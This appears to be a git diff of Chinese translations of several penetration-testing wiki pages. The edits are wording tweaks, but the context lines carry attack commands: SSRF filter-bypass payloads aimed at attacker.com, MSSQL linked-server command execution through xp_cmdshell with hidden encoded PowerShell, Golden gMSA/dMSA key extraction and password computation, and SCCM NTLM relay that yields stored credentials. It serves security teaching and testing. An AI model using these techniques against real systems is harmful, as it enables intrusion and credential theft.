_反斜杠技巧_ 利用 [WHATWG URL 标准](https://url.spec.whatwg.org/#url-parsing) 和 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 之间的差异。虽然 RFC3986 是 URI 的一般框架,但 WHATWG 特定于网络 URL,并被现代浏览器采用。关键区别在于 WHATWG 标准将反斜杠 (`\`) 视为与正斜杠 (`/`) 等价,这影响了 URL 的解析,特别是标记从主机名到 URL 路径的过渡。
|
_反斜杠技巧_ 利用 [WHATWG URL 标准](https://url.spec.whatwg.org/#url-parsing) 和 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 之间的差异。虽然 RFC3986 是 URI 的一般框架,但 WHATWG 专门针对网页 URL,并被现代浏览器采用。关键区别在于 WHATWG 标准将反斜杠 (`\`) 视为与正斜杠 (`/`) 等价,这影响了 URL 的解析,特别是标记从主机名到 URL 路径的过渡。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@ -209,7 +209,7 @@ _反斜杠技巧_ 利用 [WHATWG URL 标准](https://url.spec.whatwg.org/#url-pa
|
|||||||
|
|
||||||
### IPv6 区域标识符 (%25) 技巧
|
### IPv6 区域标识符 (%25) 技巧
|
||||||
|
|
||||||
支持 RFC 6874 的现代 URL 解析器允许 *链路本地* IPv6 地址在百分号后包含 **区域标识符**。一些安全过滤器并不意识到这种语法,只会剥离带方括号的 IPv6 字面量,从而让以下有效负载到达内部接口:
|
支持 RFC 6874 的现代 URL 解析器允许 *链路本地* IPv6 地址在百分号后包含 **区域标识符**。一些安全过滤器并不意识到这种语法,只会剥离方括号中的 IPv6 字面量,从而让以下有效负载到达内部接口:
|
||||||
```text
|
```text
|
||||||
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
||||||
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||||
@ -230,7 +230,7 @@ http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
|||||||
|
|
||||||
### 负载生成助手(2024+)
|
### 负载生成助手(2024+)
|
||||||
|
|
||||||
手动创建大型自定义词汇表是繁琐的。开源工具 **SSRF-PayloadMaker**(Python 3)现在可以自动生成 *80 k+* 主机混淆组合,包括混合编码、强制 HTTP 降级和反斜杠变体:
|
手动创建大型自定义词汇表是繁琐的。开源工具 **SSRF-PayloadMaker**(Python 3)现在可以自动生成 *80 k+* 主机变形组合,包括混合编码、强制 HTTP 降级和反斜杠变体:
|
||||||
```bash
|
```bash
|
||||||
# Generate every known bypass that transforms the allowed host example.com to attacker.com
|
# Generate every known bypass that transforms the allowed host example.com to attacker.com
|
||||||
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
|
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
|
||||||
|
@ -161,7 +161,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
|
|||||||
```
|
```
|
||||||
### MSSQL RCE
|
### MSSQL RCE
|
||||||
|
|
||||||
在MSSQL主机内**执行命令**也可能是可行的。
|
在 MSSQL 主机内部**执行命令**也可能是可行的。
|
||||||
```bash
|
```bash
|
||||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||||
@ -178,7 +178,7 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
|||||||
|
|
||||||
如果一个 MSSQL 实例被另一个 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库拥有权限,他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一些配置错误的数据库,在那里他可以执行命令。
|
如果一个 MSSQL 实例被另一个 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库拥有权限,他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一些配置错误的数据库,在那里他可以执行命令。
|
||||||
|
|
||||||
**数据库之间的链接甚至可以跨森林信任工作。**
|
**数据库之间的链接甚至可以跨越森林信任。**
|
||||||
|
|
||||||
### Powershell 滥用
|
### Powershell 滥用
|
||||||
```bash
|
```bash
|
||||||
@ -226,7 +226,7 @@ inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:
|
|||||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||||
```
|
```
|
||||||
注意,metasploit 只会尝试滥用 MSSQL 中的 `openquery()` 函数(因此,如果您无法使用 `openquery()` 执行命令,您需要尝试 **手动** 使用 `EXECUTE` 方法来执行命令,更多信息见下文。)
|
注意,metasploit 只会尝试滥用 MSSQL 中的 `openquery()` 函数(因此,如果您无法使用 `openquery()` 执行命令,您将需要尝试 **手动** 使用 `EXECUTE` 方法来执行命令,更多信息见下文。)
|
||||||
|
|
||||||
### 手动 - Openquery()
|
### 手动 - Openquery()
|
||||||
|
|
||||||
@ -247,7 +247,7 @@ EXEC sp_linkedservers;
|
|||||||
|
|
||||||
#### 在可信链接中执行查询
|
#### 在可信链接中执行查询
|
||||||
|
|
||||||
通过链接执行查询(例如:在新的可访问实例中查找更多链接):
|
通过链接执行查询(示例:在新的可访问实例中查找更多链接):
|
||||||
```sql
|
```sql
|
||||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||||
```
|
```
|
||||||
@ -256,7 +256,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
您可以手动无限制地继续这些受信任链接的链。
|
您可以手动无限期地继续这些受信任链接的链。
|
||||||
```sql
|
```sql
|
||||||
# First level RCE
|
# First level RCE
|
||||||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||||||
|
@ -10,7 +10,7 @@ Windows 托管服务账户(MSA)是专门设计用于运行服务的特殊主
|
|||||||
1. **gMSA** – 组托管服务账户 – 可以在其 `msDS-GroupMSAMembership` 属性中授权的多个主机上使用。
|
1. **gMSA** – 组托管服务账户 – 可以在其 `msDS-GroupMSAMembership` 属性中授权的多个主机上使用。
|
||||||
2. **dMSA** – 委派托管服务账户 – gMSA 的(预览)继任者,依赖于相同的加密技术,但允许更细粒度的委派场景。
|
2. **dMSA** – 委派托管服务账户 – gMSA 的(预览)继任者,依赖于相同的加密技术,但允许更细粒度的委派场景。
|
||||||
|
|
||||||
对于这两种变体,**密码不会存储**在每个域控制器(DC)上,就像常规的 NT 哈希一样。相反,每个 DC 可以 **动态推导** 当前密码,基于:
|
对于这两种变体,**密码不会存储**在每个域控制器(DC)上,就像常规的 NT 哈希一样。相反,每个 DC 可以 **实时推导** 当前密码,基于:
|
||||||
|
|
||||||
* 林范围的 **KDS 根密钥** (`KRBTGT\KDS`) – 随机生成的 GUID 命名的秘密,复制到每个 DC 下的 `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` 容器中。
|
* 林范围的 **KDS 根密钥** (`KRBTGT\KDS`) – 随机生成的 GUID 命名的秘密,复制到每个 DC 下的 `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` 容器中。
|
||||||
* 目标账户的 **SID**。
|
* 目标账户的 **SID**。
|
||||||
@ -30,12 +30,12 @@ Windows 托管服务账户(MSA)是专门设计用于运行服务的特殊主
|
|||||||
|
|
||||||
### 先决条件
|
### 先决条件
|
||||||
|
|
||||||
1. **一个 DC**(或企业管理员)的 **林级别妥协**,或对林中一个 DC 的 `SYSTEM` 访问。
|
1. **一个 DC 的林级别妥协**(或企业管理员),或对林中一个 DC 的 `SYSTEM` 访问。
|
||||||
2. 能够枚举服务账户(LDAP 读取 / RID 暴力破解)。
|
2. 能够枚举服务账户(LDAP 读取 / RID 暴力破解)。
|
||||||
3. .NET ≥ 4.7.2 x64 工作站以运行 [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) 或等效代码。
|
3. .NET ≥ 4.7.2 x64 工作站以运行 [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) 或等效代码。
|
||||||
|
|
||||||
### Golden gMSA / dMSA
|
### Golden gMSA / dMSA
|
||||||
##### 第 1 阶段 – 提取 KDS 根密钥
|
##### 阶段 1 – 提取 KDS 根密钥
|
||||||
|
|
||||||
从任何 DC 转储(卷影复制 / 原始 SAM+SECURITY 注册表或远程秘密):
|
从任何 DC 转储(卷影复制 / 原始 SAM+SECURITY 注册表或远程秘密):
|
||||||
```cmd
|
```cmd
|
||||||
@ -53,11 +53,11 @@ GoldendMSA.exe kds
|
|||||||
# With GoldenGMSA
|
# With GoldenGMSA
|
||||||
GoldenGMSA.exe kdsinfo
|
GoldenGMSA.exe kdsinfo
|
||||||
```
|
```
|
||||||
`RootKey`(GUID 名称)标签的 base64 字符串在后续步骤中是必需的。
|
`RootKey`(GUID 名称)标记的 base64 字符串在后续步骤中是必需的。
|
||||||
|
|
||||||
##### 第 2 阶段 – 枚举 gMSA / dMSA 对象
|
##### 第 2 阶段 – 枚举 gMSA / dMSA 对象
|
||||||
|
|
||||||
至少检索 `sAMAccountName`、`objectSid` 和 `msDS-ManagedPasswordId`:
|
检索至少 `sAMAccountName`、`objectSid` 和 `msDS-ManagedPasswordId`:
|
||||||
```powershell
|
```powershell
|
||||||
# Authenticated or anonymous depending on ACLs
|
# Authenticated or anonymous depending on ACLs
|
||||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||||
@ -85,7 +85,7 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
|||||||
```powershell
|
```powershell
|
||||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||||
```
|
```
|
||||||
该工具计算候选密码,并将其 base64 blob 与真实的 `msDS-ManagedPassword` 属性进行比较 – 匹配结果揭示了正确的 GUID。
|
该工具计算候选密码并将其 base64 blob 与真实的 `msDS-ManagedPassword` 属性进行比较 – 匹配结果揭示了正确的 GUID。
|
||||||
|
|
||||||
##### 第 4 阶段 – 离线密码计算与转换
|
##### 第 4 阶段 – 离线密码计算与转换
|
||||||
|
|
||||||
@ -110,7 +110,7 @@ GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswor
|
|||||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – 本页面使用的参考实现。
|
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – 本页面使用的参考实现。
|
||||||
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – 本页面使用的参考实现。
|
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – 本页面使用的参考实现。
|
||||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`,`sekurlsa::pth`,`kerberos::ptt`。
|
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`,`sekurlsa::pth`,`kerberos::ptt`。
|
||||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – 使用派生的 AES 密钥进行票证传递。
|
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – 使用派生 AES 密钥的票证传递。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
|||||||
1. 发现 MP 和站点数据库 ↦ 未经身份验证的 HTTP 端点 `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`。
|
1. 发现 MP 和站点数据库 ↦ 未经身份验证的 HTTP 端点 `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`。
|
||||||
2. 启动 `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`。
|
2. 启动 `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`。
|
||||||
3. 使用 **PetitPotam**、PrinterBug、DFSCoerce 等强制 MP。
|
3. 使用 **PetitPotam**、PrinterBug、DFSCoerce 等强制 MP。
|
||||||
4. 通过 SOCKS 代理连接 `mssqlclient.py -windows-auth` 作为中继的 **<DOMAIN>\\<MP-host>$** 帐户。
|
4. 通过 SOCKS 代理以中继的 **<DOMAIN>\\<MP-host>$** 帐户连接 `mssqlclient.py -windows-auth`。
|
||||||
5. 执行:
|
5. 执行:
|
||||||
* `use CM_<SiteCode>`
|
* `use CM_<SiteCode>`
|
||||||
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
|
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
|
||||||
@ -77,7 +77,7 @@ EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''
|
|||||||
* **CollectionSettings** – 可以包含以运行身份的账户
|
* **CollectionSettings** – 可以包含以运行身份的账户
|
||||||
|
|
||||||
### 3.3 检索完整主体
|
### 3.3 检索完整主体
|
||||||
如果您已经拥有 `PolicyID` 和 `PolicyVersion`,则可以使用以下方法跳过 clientID 要求:
|
如果您已经拥有 `PolicyID` 和 `PolicyVersion`,可以使用以下方法跳过 clientID 要求:
|
||||||
```sql
|
```sql
|
||||||
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
||||||
```
|
```
|
||||||
@ -103,7 +103,7 @@ NetworkAccessPassword: P4ssw0rd123
|
|||||||
---
|
---
|
||||||
|
|
||||||
## 5. 相关的 SQL 角色和过程
|
## 5. 相关的 SQL 角色和过程
|
||||||
在中继时,登录映射到:
|
在中继时,登录被映射到:
|
||||||
* `smsdbrole_MP`
|
* `smsdbrole_MP`
|
||||||
* `smsdbrole_MPUserSvc`
|
* `smsdbrole_MPUserSvc`
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user